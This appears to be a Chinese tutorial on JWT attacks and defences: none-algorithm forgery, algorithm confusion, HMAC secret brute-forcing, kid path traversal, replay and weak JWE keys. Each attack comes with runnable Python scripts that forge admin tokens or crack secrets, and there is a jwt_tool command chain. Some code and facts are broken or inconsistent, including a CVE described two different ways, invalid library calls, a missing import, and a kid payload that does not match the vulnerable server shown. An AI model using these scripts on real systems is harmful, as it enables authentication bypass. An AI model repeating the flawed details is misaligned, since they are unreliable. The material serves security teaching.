一、JWT 基础概念
1.1 JWT 结构
JWT 由三部分组成,用 . 分隔:
Header.Payload.Signature
│ │ │
│ │ └── HMAC-SHA256(header + "." + payload, secret)
│ └── Base64Url({"sub": "user123", "exp": 1700000000, "role": "admin"})
└── Base64Url({"alg": "HS256", "typ": "JWT"})
1.2 快速解析工具
import base64
import json
def decode_jwt(token: str) -> dict:
parts = token.split('.')
if len(parts) != 3:
raise ValueError('invalid JWT format')
result = {}
for i, label in enumerate(['header', 'payload', 'signature']):
pad = '=' * (4 - len(parts[i]) % 4)
decoded = base64.urlsafe_b64decode(parts[i] + pad)
if i < 2:
result[label] = json.loads(decoded)
else:
result[label] = decoded.hex()
return result
# 使用示例
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.signature'
print(json.dumps(decode_jwt(token), indent=2))
二、攻击一:None 算法绕过
2.1 漏洞原理
JWT 规范(RFC 7519)允许 alg: none 表示"不签名"。如果服务端未正确过滤该算法,攻击者可以伪造任意 payload 且无需签名。
2.2 攻击脚本
import base64
import json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def forge_none_token(payload: dict) -> str:
header = {"alg": "none", "typ": "JWT"}
header_b64 = b64url_encode(json.dumps(header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())
# None 算法下签名为空字符串
return f"{header_b64}.{payload_b64}."
# 伪造管理员 token
evil_payload = {
"sub": "admin",
"role": "super_admin",
"iat": 1700000000,
"exp": 1999999999,
}
forged = forge_none_token(evil_payload)
print(f"[+] Forged token: {forged}")
2.3 脆弱服务端实现
// 🔴 危险:允许 none 算法
const jwt = require('jsonwebtoken');
const token = req.headers.authorization.replace('Bearer ', '');
try {
const decoded = jwt.verify(token, SECRET, {
algorithms: ['HS256', 'HS384', 'HS512', 'none'], // 包含 none!
});
console.log('Authenticated:', decoded.sub);
} catch (err) {
console.error('Invalid token:', err.message);
}
2.4 防御措施
// ✅ 安全:显式禁止 none 算法
const decoded = jwt.verify(token, SECRET, {
algorithms: ['HS256'], // 只允许明确的签名算法
// 不要包含 'none'、'HS256' 之外的任何东西
});
// 或者使用 jose 等更现代的库
const { importJWK, CompactSign, CompactVerify } = require('jose');
async function verifyJWT(token, key) {
const { payload, protectedHeader } = await CompactVerify(
token,
await importJWK({ kty: 'oct', k: Buffer.from(key).toString('base64url') }, 'HS256')
);
if (protectedHeader.alg !== 'HS256') {
throw new Error('only HS256 accepted');
}
return payload;
}
三、攻击二:算法混淆攻击(Algorithm Confusion)
3.1 漏洞原理
当客户端使用对称加密(HS256)而服务端实际存储了非对称加密(RS256)的公钥时,攻击者可以用公钥作为 HMAC 密钥来伪造签名。
正常流程:
签名用私钥 (RS256) → 验证用公钥
攻击流程:
攻击者用公钥做 HMAC-SHA256 签名 → 服务端误将公钥当作 HS256 密钥验证
3.2 攻击脚本
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
import hmac
import hashlib
import base64
import json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def load_public_key_pem(path: str) -> bytes:
with open(path, 'rb') as f:
return f.read()
def attack_alg_confusion(target_payload: dict, rsa_public_key_pem: bytes) -> str:
# 攻击者获取到目标服务器的 RSA 公钥
pub_key_bytes = rsa_public_key_pem
# 步骤1: 将 header 改成 HS256
header = {"alg": "HS256", "typ": "JWT"}
header_b64 = b64url_encode(json.dumps(header).encode())
payload_b64 = b64url_encode(json.dumps(target_payload).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()
# 步骤2: 用 RSA 公钥作为 HMAC 密钥签名
signature = hmac.new(
pub_key_bytes,
signing_input,
hashlib.sha256,
).digest()
sig_b64 = b64url_encode(signature)
return f"{header_b64}.{payload_b64}.{sig_b64}"
# 使用示例
public_key = load_public_key_pem('server_public.pem')
forged_payload = {"sub": "admin", "role": "administrator"}
malicious_token = attack_alg_confusion(forged_payload, public_key)
print(f"[+] Attack token: {malicious_token}")
3.3 脆弱服务端代码
# 🔴 危险:没有固定算法,信任 header 中的 alg 字段
from jose import jwt, JWTError
public_key = open('server_public.pem').read()
secret_key = "my_hmac_secret"
def verify_token(token: str):
header = jwt.get_unverified_header(token)
alg = header.get('alg', 'HS256')
if alg.startswith('HS'):
# 对称加密,使用 secret_key
key = secret_key
elif alg.startswith('RS') or alg.startswith('ES'):
# 非对称加密,使用公钥
key = public_key
else:
raise JWTError(f'unsupported algorithm: {alg}')
# 🔴 这里如果攻击者把 alg 改成 HS256,会使用 public_key 作为 HMAC 密钥
return jwt.decode(token, key, algorithms=[alg])
3.4 防御
严格固定算法白名单:
from jose import jwt
def verify_token_safe(token: str) -> dict:
# 无论 header 写什么,都只允许 RS256
return jwt.decode(
token,
public_key,
algorithms=['RS256'], # 固定算法
audience='expected-aud',
issuer='expected-iss',
)
四、攻击三:HMAC 密钥爆破
4.1 漏洞原理
如果 HMAC-SHA256 使用了弱密钥(短密码、常见词),攻击者可以通过暴力破解找回密钥。
4.2 爆破工具实现
import hmac
import hashlib
import base64
import json
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
TARGET_TOKEN = sys.argv[1]
WORDLIST = sys.argv[2]
def b64url_decode(s: str) -> bytes:
pad = '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s + pad)
def verify_signature(secret: bytes, signing_input: bytes, expected_sig: bytes) -> bool:
computed = hmac.new(secret, signing_input, hashlib.sha256).digest()
return hmac.compare_digest(computed, expected_sig)
def crack_hs256(token: str, wordlist_path: str) -> str | None:
parts = token.split('.')
if len(parts) != 3:
raise ValueError('invalid token')
signing_input = f"{parts[0]}.{parts[1]}".encode()
expected_sig = b64url_decode(parts[2])
candidates = []
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
word = line.strip()
if word:
candidates.append(word)
print(f"[*] Loaded {len(candidates)} candidates")
def try_secret(word: str) -> str | None:
secret = word.encode()
if verify_signature(secret, signing_input, expected_sig):
return word
# 也尝试带引号和常见后缀
variants = [word, f'"{word}"', f"{word}123", f"{word}!"]
for v in variants:
if verify_signature(v.encode(), signing_input, expected_sig):
return v
return None
start = time.time()
with ThreadPoolExecutor(max_workers=8) as executor:
futures = {executor.submit(try_secret, w): w for w in candidates}
for future in as_completed(futures):
result = future.result()
if result:
elapsed = time.time() - start
print(f"[+] FOUND! Secret: {result} (in {elapsed:.1f}s)")
return result
print(f"[-] Not found in {time.time() - start:.1f}s")
return None
if __name__ == '__main__':
secret = crack_hs256(TARGET_TOKEN, WORDLIST)
if secret:
print(f"
[+] Recovered secret: {secret}")
4.3 生成测试 Token
import hmac
import hashlib
import base64
import json
def make_token(secret: str, payload: dict) -> str:
header = {"alg": "HS256", "typ": "JWT"}
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
signing_input = f"{header_b64}.{payload_b64}".encode()
sig = hmac.new(secret.encode(), signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
return f"{header_b64}.{payload_b64}.{sig_b64}"
# 用弱密钥生成 token
print(make_token("secret", {"sub": "test", "role": "admin"}))
4.4 防御
// 使用足够强的密钥(至少 256 位随机数)
const crypto = require('crypto');
const SECRET = crypto.randomBytes(48).toString('hex'); // 384 位熵
console.log(SECRET);
// 生产环境用 PBKDF2 或 Argon2 派生密钥
const derivedKey = crypto.pbkdf2Sync(
process.env.JWT_SECRET_PASSPHRASE,
'fixed-salt-for-your-app',
210000, // 迭代次数
48,
'sha512'
);
五、攻击四:KID(Key ID)注入
5.1 漏洞原理
JWT Header 中的 kid(Key ID)字段用于标识使用哪个密钥签名。如果服务端直接将 kid 拼接到文件路径或查询语句中,可能导致路径遍历或 SQL 注入。
5.2 路径遍历攻击
// 🔴 危险:直接用 kid 拼路径
const fs = require('fs');
const jwt = require('jsonwebtoken');
function findKey(kid) {
// 攻击者传入 kid: "../../../etc/passwd" 可能导致路径遍历
const keyPath = `/var/keys/${kid}.pem`;
return fs.readFileSync(keyPath, 'utf8');
}
function verify(token) {
const header = jwt.decode(token, { complete: true }).header;
const key = findKey(header.kid); // 直接拼接路径
return jwt.verify(token, key, { algorithms: ['RS256'] });
}
5.3 攻击 Payload
import json
import base64
import hmac
import hashlib
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# 构造恶意 kid
malicious_header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../etc/passwd" # 路径遍历
}
payload = {"sub": "attacker"}
header_b64 = b64url_encode(json.dumps(malicious_header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()
# 用 /etc/passwd 文件内容作为密钥签名
with open('/etc/passwd', 'rb') as f:
secret_data = f.read()
sig = hmac.new(secret_data, signing_input, hashlib.sha256).digest()
sig_b64 = b64url_encode(sig)
print(f"{header_b64}.{payload_b64}.{sig_b64}")
5.4 防御
// ✅ 安全:使用严格的白名单查找
const KEY_STORE = {
'key-2024-q1': fs.readFileSync('/var/keys/key-2024-q1.pem'),
'key-2024-q2': fs.readFileSync('/var/keys/key-2024-q2.pem'),
};
function findKey(kid) {
if (!KEY_STORE[kid]) {
throw new Error('unknown kid');
}
return KEY_STORE[kid];
}
// 同时对 kid 做格式校验
const KID_REGEX = /^[a-zA-Z0-9_-]+$/;
function safeFindKey(kid) {
if (!KID_REGEX.test(kid)) {
throw new Error('invalid kid format');
}
return findKey(kid);
}
六、攻击五:JWT 密钥混淆(JKS/JWK 转换)
6.1 漏洞原理
当服务器使用 RSA 密钥对时,若攻击者能上传自己的公钥并令服务器将其作为验证密钥,即可用对应的私钥签名任意 Token。
6.2 示例:JMESPath 注入(CVE-2022-23529)
某些 JWT 库支持从 JWK Set URL 动态获取密钥。若 URL 解析存在缺陷,攻击者可能控制密钥内容。
# 脆弱实现:信任 jwk_url
import requests
from jose import jwt
def verify_jwt_with_jwks(token: str, jwk_url: str) -> dict:
# 🔴 直接请求,未校验 URL 目标
resp = requests.get(jwk_url, timeout=5)
jwks = resp.json()
# 从 jwks 中找到匹配 kid 的 key
header = jwt.get_unverified_header(token)
matching_keys = [k for k in jwks['keys'] if k.get('kid') == header.get('kid')]
if not matching_keys:
raise ValueError('no matching key')
from jose.utils import import_rsa_key_from_pem
return jwt.decode(token, matching_keys[0], algorithms=['RS256'])
6.3 防御
from urllib.parse import urlparse
import ipaddress
def safe_fetch_jwks(jwk_url: str) -> dict:
parsed = urlparse(jwk_url)
# 只允许 HTTPS
if parsed.scheme != 'https':
raise ValueError('jwks must be served over HTTPS')
# 禁止请求内网地址
hostname = parsed.hostname
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
raise ValueError('jwks URL points to internal address')
except ValueError:
# 域名解析失败
raise
# 设置超时和响应大小限制
resp = requests.get(jwk_url, timeout=5, max_content_length=65536)
return resp.json()
七、攻击六:JWT 重放(Replay)
7.1 漏洞描述
JWT 本身是无状态的,有效期内可以被无限次使用。攻击者截获 Token 后可以重放,直到过期。
7.2 场景:未绑定会话的 Token
# 攻击者截获 token 后,无论在哪里都能使用
# 服务端没有校验 token 与设备/会话的绑定关系
@app.route('/api/transfer', methods=['POST'])
def transfer():
token = request.headers.get('Authorization', '').replace('Bearer ', '')
payload = jwt.decode(token, SECRET, algorithms=['HS256'])
# 🔴 只校验了 exp,没有 jti 黑名单或会话绑定
amount = request.json.get('amount')
target = request.json.get('target_account')
execute_transfer(payload['sub'], target, amount)
7.3 防御:Nonce / JTI + 黑名单
# 使用 jti 唯一标识每个 token,服务端维护已使用的 jti
used_jtis = set()
def issue_token(user_id: str, jti: str, ttl_seconds: int = 600) -> str:
payload = {
'sub': user_id,
'jti': jti,
'iat': time.time(),
'nbf': time.time(),
'exp': time.time() + ttl_seconds,
}
return jwt.encode(payload, SECRET, algorithm='HS256')
def verify_and_track(token: str) -> dict:
payload = jwt.decode(token, SECRET, algorithms=['HS256'])
jti = payload.get('jti')
if not jti:
raise ValueError('missing jti')
if jti in used_jtis:
raise ValueError('token already used (replay detected)')
used_jtis.add(jti)
return payload
7.4 更完善:DPoP(RFC 9449)
DPoP(Demonstrating Proof-of-Possession)将 Token 绑定到攻击者无法获取的密钥对,彻底防止重放:
// 客户端:生成临时密钥对
const keyPair = await crypto.subtle.generateKey(
{ name: 'ECDSA', namedCurve: 'P-256' },
true,
['sign', 'verify']
);
// 用 DPoP 证明绑定到这个密钥对的 Token
const dpopProof = await generateDPoPProof({
keyPair,
htm: 'POST',
htu: 'https://api.example.com/transfer',
accessToken: bearerToken,
});
// 发送请求
fetch('https://api.example.com/transfer', {
method: 'POST',
headers: {
'Authorization': `DPoP ${bearerToken}`,
'DPoP': dpopProof,
},
});
八、攻击七:JWE(加密 Token)密钥问题
8.1 漏洞描述
JWT 也有加密版本 JWE(JSON Web Encryption),但密钥管理不当会导致明文泄露。
8.2 弱密钥派生
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# 🔴 危险:直接用密码作为 AES 密钥
password = "12345678"
key = password.encode().ljust(32, b'') # 直接填充,没有 KDF
aesgcm = AESGCM(key)
# 攻击者只要猜到密码就能解密
8.3 安全做法
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
def derive_aes_key(password: str, salt: bytes) -> bytes:
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32, # 256 位
salt=salt,
iterations=600000, # 足够大的迭代次数
backend=default_backend(),
)
return kdf.derive(password.encode())
九、JWT 安全库选择
不同语言的 JWT 库安全性差异很大,以下是推荐列表:
| 语言 | 推荐库 | 避免使用 |
|---|---|---|
| Node.js | jose、@panva/jose |
jsonwebtoken(注意配置) |
| Python | authlib、PyJWT |
自己实现 |
| Java | auth0/jwt、Nimbus JOSE |
老旧的 jjwt |
| Go | golang-jwt/jwt |
dgrijalva/jwt-go(已废弃) |
| Rust | biscuit、jsonwebtoken |
自己造轮子 |
9.1 使用 PyJWT 的安全示例
import jwt
from datetime import datetime, timedelta, timezone
class JWTHandler:
def __init__(self, secret: str, algorithm: str = 'HS256'):
self.secret = secret
self.algorithm = algorithm
def issue(self, claims: dict, ttl_minutes: int = 15) -> str:
payload = {
**claims,
'iat': datetime.now(timezone.utc),
'nbf': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(minutes=ttl_minutes),
'jti': __import__('uuid').uuid4().hex,
}
return jwt.encode(payload, self.secret, algorithm=self.algorithm)
def verify(self, token: str, audience: str | None = None, issuer: str | None = None) -> dict:
options = {
'require': ['exp', 'iat', 'nbf'],
'verify_exp': True,
'verify_iat': True,
'verify_nbf': True,
}
return jwt.decode(
token,
self.secret,
algorithms=[self.algorithm], # 固定算法
audience=audience,
issuer=issuer,
options=options,
)
十、JWT 安全审计 Checklist
- 是否固定了允许的算法列表(禁止 none)
- 是否明确拒绝了 HS 算法(如使用 RS256)
- HMAC 密钥是否足够强(至少 256 位随机)
- 是否校验了 exp、iat、nbf、aud、iss
- 是否有 jti 重放防护
- 是否限制了 payload 大小(防止 DoS)
- kid 是否做了严格校验
- 动态 JWKS URL 是否有 SSRF 防护
- 刷新令牌是否与 access_token 有区分
- 是否实现了令牌吊销机制
- 是否考虑了 DPoP 或会话绑定
- 是否禁用了不安全的 JWE 算法
- 密钥是否定期轮换
十一、实战:完整的攻击链演示
假设我们抓到一个 token:
# 1. 解析结构
echo "$TOKEN" | jq -R 'split(".") | .[0], .[1] | @base64d | fromjson'
# 2. 检查是否有 alg:none 漏洞
# 使用 jwt_tool 自动检测
python3 jwt_tool.py "$TOKEN" -t
# 3. 测试 None 算法
python3 jwt_tool.py "$TOKEN" -T a -to
# 4. 测试 algorithm confusion
python3 jwt_tool.py "$TOKEN" -X k -pk server_public.pem
# 5. 爆破密钥
python3 jwt_tool.py "$TOKEN" -C -w rockyou.txt
十二、总结
JWT 的攻击面丰富多样,但核心问题几乎都源于:
- 过度信任客户端可控字段(alg、kid、payload 内容)
- 密钥管理不当(弱密钥、算法混淆、泄露)
- 缺少防护层(无吊销、无会话绑定、无重放检测)
防御的核心原则是 最小信任 + 深度防御:服务端始终是唯一的信任边界,客户端提供的 Token 只是一个"需要被反复验证的凭证",而非权威的身份声明。
十三、参考资料
- RFC 7519: JSON Web Token
- RFC 7518: JSON Web Algorithms
- RFC 9449: DPoP
- OWASP JWT Cheat Sheet
- PortSwigger JWT Attack Playbook
- CVE-2015-9235 - JWT None Algorithm
- CVE-2016-10555 - Algorithm Confusion in jsonwebtoken
- CVE-2022-23529 - JWS Header Injection in go-jose